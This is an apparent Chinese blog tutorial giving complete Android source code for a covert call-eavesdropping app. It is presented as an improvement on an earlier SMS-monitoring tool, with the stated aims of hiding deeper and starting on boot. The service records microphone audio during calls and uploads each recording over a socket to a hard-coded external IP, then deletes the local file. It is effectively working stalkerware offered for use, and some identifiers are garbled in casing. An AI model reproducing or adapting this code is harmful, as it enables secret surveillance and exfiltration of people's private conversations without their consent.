在我上篇文章android短信监听工具(示例代码),开发了一个“短信监听工具”,是基于广播接收者实现的,有一些缺陷(例如:不能隐藏的很深,不能开机自动运行...) 在本实例中,
在我上篇文章android短信监听工具(示例代码),开发了一个“短信监听工具”,是基于广播接收者实现的,有一些缺陷(例如:不能隐藏的很深,不能开机自动运行...)
在本实例中,将使用新的技术“服务”来解决这些缺陷。
代码如下:
package cn.itcast.phone;
import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandoMaccessFile;
import java.net.Socket;
import cn.itcast.utils.StreamTool;
import Android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.telephony.gsm.SmsManager;
import android.util.Log;
public class PhoneListenService extends Service {
private static final String TAG = "PhoneListenService";
@Override
public void onCreate() {
TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
Log.i(TAG, "service created");
super.onCreate();
}
@Override
public void onDestroy() {//清空缓存目录下的所有文件
File[] files = getCacheDir().listFiles();
if(files!=null){
for(File f: files){
f.delete();
}
}
Log.i(TAG, "service destroy");
super.onDestroy();
}
private class TelListener extends PhoneStateListener{
private MediaRecorder recorder;
private String mobile;
private File audioFile;
private boolean record;
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state){
case TelephonyManager.CALL_STATE_IDLE:
if(record){
recorder.stop();//停止刻录
recorder.release();
record = false;
new Thread(new UploadTask()).start();
Log.i(TAG, "start upload file");
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
Log.i(TAG, "OFFHOOK:"+ mobile);
recorder = new MediaRecorder();
recorder.setAudiOSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音(暂时只能监听到麦克风的声音信号,监听不到听筒的信号--只能监听到此人的说话,听不到对方说啥)
recorder.setOutputFORMat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
recorder.setOutputFile(audioFile.getAbsolutePath());
recorder.prepare();//预期准备
recorder.start(); //开始刻录
record = true;
break;
case TelephonyManager.CALL_STATE_RINGING:
Log.i(TAG, "incomingNumber:"+ incomingNumber);
mobile = incomingNumber;
break;
default:
break;
}
} catch (Exception e) {
Log.e(TAG, e.toString());
}
super.onCallStateChanged(state, incomingNumber);
}
private final class UploadTask implements Runnable{
@Override
public void run() {
try {
Socket socket = new Socket("220.113.15.71", 7878);
OutputStream outStream = socket.getOutputStream();
String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";
outStream.write(head.getBytes());
PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
String response = StreamTool.readLine(inStream);
String[] items = response.split(";");
String position = items[1].substring(items[1].indexOf("=")+1);
RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
fileOutStream.seek(Integer.valueOf(position));
byte[] buffer = new byte[1024];
int len = -1;
while( (len = fileOutStream.read(buffer)) != -1){
outStream.write(buffer, 0, len);
}
fileOutStream.close();
outStream.close();
inStream.close();
socket.close();
audioFile.delete();
} catch (Exception e) {
Log.e(TAG, e.toString());
}
}
}
}
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
}
代码如下:
package cn.itcast.phone;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//android开机广播,开机后启动电话监听服务
Intent service = new Intent(context, PhoneListenService.class);
context.startService(service);
}
}
代码如下:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="Http://schemas.android.com/apk/res/android"
package="cn.itcast.phone"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<service android:name=".PhoneListenService" />
<receiver android:name=".BootBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="7" />
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
</manifest>
代码如下:
package cn.itcast.utils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PushbackInputStream;
public class StreamTool {
public static void save(File file, byte[] data) throws Exception {
FileOutputStream outStream = new FileOutputStream(file);
outStream.write(data);
outStream.close();
}
public static String readLine(PushbackInputStream in) throws IOException {
char buf[] = new char[128];
int room = buf.length;
int offset = 0;
int c;
loop: while (true) {
switch (c = in.read()) {
case -1:
case '\n':
break loop;
case '\r':
int c2 = in.read();
if ((c2 != '\n') && (c2 != -1)) in.unread(c2);
break loop;
default:
if (--room < 0) {
char[] lineBuffer = buf;
buf = new char[offset + 128];
room = buf.length - offset - 1;
System.arraycopy(lineBuffer, 0, buf, 0, offset);
}
buf[offset++] = (char) c;
break;
}
}
if ((c == -1) && (offset == 0)) return null;
return String.copyValueOf(buf, 0, offset);
}
public static byte[] readStream(InputStream inStream) throws Exception{
ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len = -1;
while( (len=inStream.read(buffer)) != -1){
outSteam.write(buffer, 0, len);
}
outSteam.close();
inStream.close();
return outSteam.toByteArray();
}
}
--结束END--
本文标题: android电话窃听器(示例代码)
本文链接: https://lsjlt.com/news/27373.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-01-21
2023-10-28
2023-10-28
2023-10-27
2023-10-27
2023-10-27
2023-10-27
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0